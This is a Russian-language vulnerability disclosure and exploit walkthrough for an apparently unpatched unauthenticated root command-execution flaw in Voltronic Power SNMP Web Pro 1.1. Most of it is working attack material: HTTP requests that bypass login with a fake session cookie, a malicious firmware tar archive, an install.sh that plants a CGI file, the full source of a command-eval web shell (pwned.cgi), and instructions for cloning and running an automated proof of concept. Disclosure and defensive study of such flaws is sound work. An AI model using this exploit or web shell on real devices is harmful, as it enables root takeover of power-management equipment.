
Предварительно неаутентифицированное полное удалённое выполнение команд от имени root в Voltronic Power SNMP Web Pro 1.1
Неаутентифицированное полное удалённое выполнение команд в Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 содержит неаутентифицированную уязвимость удалённого выполнения кода в конечной точке upload.cgi. Функция обновления прошивки позволяет пользователям загружать tar-архив, который затем извлекается и устанавливается без какой-либо проверки вводимых данных или проверок безопасности. Приложение не ограничивает и не очищает содержимое архива, поэтому злоумышленник может загрузить специально созданный архив, содержащий вредоносные CGI-скрипты. Немного проб и ошибок — и, во многом благодаря информации, которую раскрывает каждый ответ, — позволяет выяснить точный ожидаемый формат архива и создать вредоносный.
Кроме того, конечная точка не проверяет должным образом аутентификацию: достаточно подставить поддельную или недействительную сессионную cookie, чтобы обойти контроль доступа и получить доступ к уязвимой функции без действительных учётных данных, даже несмотря на то, что интерфейс явно требует вход в систему для её использования.
Успешная эксплуатация позволяет злоумышленнику размещать произвольные исполняемые файлы в каталоге CGI-сервера и выполнять команды с правами root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Всё нижеописанное выполнялось против локального экземпляра (http://localhost:5555). Две вещи делают всю эту задачу тривиальной с самого начала:
Cookie: -http-session-=NOT_VALID — параметр запроса sid представляет собой случайное значение, генерируемое фронтенд-JavaScript, и сервер его точно так же игнорирует.Дальнейшие шаги повторяют этот цикл. Запросы урезаны до минимального набора заголовков, которые сервер вообще обрабатывает.
Уже самый первый запрос сообщает нам, где сервер ожидает найти архив прошивки. Обратите внимание: params=extract просит CGI извлечь архив, а не принять его: ещё ничего не загружено, конечная точка просто пытается распаковать то, что, как она ожидает, находится на диске.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Ответ:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Тело ответа — золото. Помимо (NAK (отрицательного подтверждения), сообщающего об ошибке, в ответ дословно встроен необработанный вывод бинарника tar: он пытается извлечь /root/upgrade.tar.gz. Обратите также внимание на целевой путь установки /root — мы имеем дело с привилегированным процессом.
Два факта для плана эксплуатации:
upgrade.tar.gz и помещается в /root. Наше имя файла не имеет значения.Сначала создадим тестовый tar-архив (загрузка — это multipart POST; его трассировка неинтересна — всё поведение определяют GET-запросы):
tar czvf test.tar.gz test.txt
test.txt
Запускаем цикл: загружаем архив, затем извлекаем его:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK — извлечение прошло без нареканий. Цикл (загрузка -> извлечение -> установка) — это и есть форма всей эксплуатации; дальше меняется только шаг установки, поэтому в следующих трассировках показаны лишь строка запроса и тело ответа (заголовки остаются такими же, как выше).
upgradeИзвлечение работает — пора устанавливать. Ответ, как и ожидалось, отличается:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Снова (ACK, но сквозь ответ просачиваются остатки shell-команды: cd: line 1: can't cd to /root/upgrade*. Установщик выполняет произвольный shell — он пытается выполнить cd в глоб, раскрывающийся в папку с именем upgrade внутри извлечённого архива. Наш безобидный плоский архив (test.txt в корне) не удовлетворяет глобу. Простое решение: переупаковать с каталогом upgrade/ верхнего уровня.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Затем повторяем первые два шага цикла: заново загружаем и заново извлекаем.
install.shСнова тот же вызов установки, и утечка становится ещё информативнее:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Он выполняет chmod для скрипта install.sh — это значит, что процедура установки запускает shell-скрипт из архива от имени root. На этом этапе мы контролируем каждый файл архива, а значит, контролируем и этот скрипт. Вся уязвимость в одной строке: произвольные файлы, выполняемые с правами root без аутентификации.
Создайте install.sh и pwned.cgi внутри каталога upgrade/ (оба файла также включены в папку upgrade/ этого репозитория).
install.sh раскладывает файлы по местам, чтобы наш скрипт попал в CGI-каталог веб-корня, а затем выставляет права:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi — это минимальный CGI-диспетчер команд: он принимает параметр запроса cmd, декодирует URL и передаёт его в eval. Это и есть удалённая оболочка:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Переупакуем архив:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
И выполним полный цикл в последний раз:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
Чистый (ACK без утёкших ошибок: установщик без нареканий выполнил наш скрипт, и pwned.cgi теперь должен находиться в CGI-каталоге. Простой whoami подтверждает это (заключите URL в кавычки — ; является разделителем команд в shell, и CGI-парсер спотыкается о нём):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root на ARM Linux устройства. От нуля учётных данных до root-оболочки — весь путь занял лишь две описанные выше утечки и tar-архив.

Нет, вендор пока не дал ответа. Используйте обратный прокси ngnix с аутентификацией для защиты целевой системы.
poc.py автоматизирует ручной цикл 1:1. create_in_memory_tar_archive() собирает архив из шага 5 в памяти (install.sh + POST-вариант pwned.cgi), затем upload_archive(), extract_firmware() и install_firmware() повторяют шаги 2–4, verify_exploit_uploaded() ожидает появления CGI, а spawn_non_interactive_shell() открывает приглашение >>>, команды в котором кодируются в base64 и отправляются POST-запросом в pwned.cgi.